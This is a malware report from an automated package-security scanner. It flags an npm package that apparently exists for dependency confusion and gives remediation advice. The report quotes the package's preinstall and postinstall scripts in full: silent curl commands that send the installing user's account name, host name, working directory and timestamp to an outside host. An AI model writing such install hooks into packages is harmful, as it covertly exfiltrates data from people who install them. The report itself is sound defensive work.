registry / Data exfiltration / com.db.autobahn.notification-center-electron
com.db.autobahn.notification-center-electron
A benign placeholder for npm.
This report shows the evidence for com.db.autobahn.notification-center-electron@88.88.2. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis package performs unconsented, automatic install-time transmission of host-identifying data to an unrelated endpoint. The behavior is concrete exfiltration and warrants blocking.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package, before and after installation.
Impact
An external operator receives the local account name, host name, working directory, and installation time.
Mechanism
Install-time shell command exfiltrates host-identifying metadata by HTTP request.
Attack narrative
npm automatically runs the preinstall and postinstall shell commands. Each invokes curl against an external HTTP endpoint with command-substituted account and host identifiers plus the current directory and time. Redirecting output and suppressing failures makes the collection silent; the inert main file provides no package function requiring it.
AI rationale
This package performs unconsented, automatic install-time transmission of host-identifying data to an unrelated endpoint. The behavior is concrete exfiltration and warrants blocking.
Evidence
package.jsonindex.js
Network endpoints1
da9odl2vbsgu2d3k5hbge9zpkghig83xc.cyowl.com/com.db.autobahn.notification-center-electron/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Preinstall and postinstall send the installing user's name, host name, working directory, and timestamp to an unrelated HTTP host.
- The callbacks run automatically during npm installation and ignore failures, providing no user-facing purpose.
Evidence against
- The main entry point is inert text and contains no runtime behavior.
- No package files beyond the manifest and inert entry point are present.
Behavioral surface
Trivial
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = curl -s "http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg10"preinstall": "curl -s \"http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true",
"postinstall": "curl -s \"http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true"
High
Suspicious Lifecycle Evidence
Preinstall and postinstall send the installing user's name, host name, working directory, and timestamp to an unrelated HTTP host.
package.jsonView on unpkg · L109"scripts": {
"preinstall": "curl -s \"http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true",
"postinstall": "curl -s \"http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true"
Findings
4 High2 Medium1 Low
HighInstall Time Lifecycle Scriptspackage.json
HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencepackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
Affected versions and remediation
This report applies to com.db.autobahn.notification-center-electron@88.88.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing com.db.autobahn.notification-center-electron@88.88.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.